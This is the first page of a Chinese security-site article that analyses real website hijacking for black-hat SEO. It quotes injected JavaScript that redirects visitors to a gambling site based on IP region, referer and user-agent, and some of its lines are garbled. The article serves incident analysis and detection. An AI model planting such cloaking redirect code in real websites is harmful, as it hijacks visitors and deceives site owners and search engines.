欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

真实网站劫持案例分析

来源:本站整理 作者:佚名 时间:2019-04-04 TAG: 我要投稿

1.  概述 
上段时间一直忙于处理大会安全保障与应急,借助公司云悉情报平台,发现并处置几十起网站被劫持的情况。对黑客SEO技术颇有感觉。正好这段时间有时间,把以前遇到比较有趣的案例和大家分享一下。里面很多技术其实早已被玩透,只是网上搜了一下并无太多这方面的介绍。所以在这里共享一下相关的案例,案例主要分享一下思路。
1.1 原理
网站劫持是一个相对古老的技术,主要是黑帽用来做SEO用。实现网站劫持如以下步骤所示:
1、入侵相关网站;
2、然后在网站中插入JS或修改其配置文件,增加相应的劫持代码。另外一般会加入判断条件,判断条件一般会根据user-agent或referer进行判断。大多数判断条件会判断是爬虫还是人工,如果是人工会返回正常的网站;如果是爬虫,会返回相关博彩、娱乐类等黑客设置好的网站;
3、爬虫去访问时,返回是相关博彩、娱乐类网站,导致收录的是黑客精心准备好的网站;
4、黑帽SEO基本上都是给爬虫收录的,对于正常的人工访问会返回正常的内容,所以导致这种网站很难发现、并且其存留时间相对较长。
下面通过在实际工作中遇到的JS脚本来阐述JS劫持来实现跳转的方法。该JS脚本综合运用了判断IP归属地、UA、referer来进行跳转判断。
1.2.1 判断IP归属地
判断远程IP的归属地,如果远程IP为安徽省或北京,则会直接跳转到http://www.anhui365.net/404.html这个页面;归属地不为安徽或北京的话则会跳转到博彩站点http://m.an888.top/
var jump_myt = setInterval(function(){
    if(remote_ip_info) {
       clearInterval(jump_myt);
       if(remote_ip_info.province == '安徽' ||remote_ip_info.province == '\u5b89\u5fbd'||remote_ip_info.city =='\u5317\u4eac'||remote_ip_info.city == '北京') {
           window.location.;
       }
       else{
          window.location= 'http://m.an888.top/';
       }
    }
1.2.2 判断referer
若referer关键字为:baidu、google、yahoo、bing、soso、360等搜索引擎爬虫,当爬虫去访问时会调用browserRedirect()函数。browserRedirect()函数主要用来实现跳转判断。
function go_bots_url(){
    var init_flag ="93989",
       bct =document.referrer,
       bot =['baidu', 'google', 'yahoo', 'bing', 'soso', 'sogou', '#', 'so.com','youdao', 'anquan', 'sm.cn', 'haosou'];
       for (var iin bot) {
           if(bct.indexOf(bot[i]) != -1) {
              init_flag= "1245";
              browserRedirect();
           }
       }
       if(init_flag== "93989"){
           call_init_error();
       }
1.2.3 判断user-agent
如果相应的user-agent匹配关键字ipad、iphone os、midp、ucweb、android等移动端设备时则会跳转到http://m.an888.top/这个博彩站点
function browserRedirect() {
    var sUserAgent=navigator.userAgent.toLowerCase();
    var bIsIpad=sUserAgent.match(/ipad/i) == "ipad";
    varbIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os";
    var bIsMidp=sUserAgent.match(/midp/i) == "midp";
    var bIsUc7=sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
    var bIsUc=sUserAgent.match(/ucweb/i) == "ucweb";
    var bIsAndroid=sUserAgent.match(/android/i) == "android";
    var bIsCE=sUserAgent.match(/windows ce/i) == "windows ce";
    var bIsWM=sUserAgent.match(/windows mobile/i) == "windows mobile";
   
    if (bIsIpad ||bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) {
       window.location.;
    } else {
       window.location='http://m.an888.top/';
    }
}
    这是一个比较经典的JS判断条件,综合判断IP地址、user-agent、referer。黑客入侵相应的网站后只需要把在网站中加入引用的JS相关网站即可,一般都是直接在相关调用页面,如index.php这种页面中直接插入下面的代码
1.3 表现
当网站被黑客入侵并作为SEO使用时,一般的表现是通过人工访问并无法直接打开,需要通过改变浏览器的user-agent及referer时才可以重现相应的劫持页面。页面被劫持一般表现是下面这样子的:

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.ylxj.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载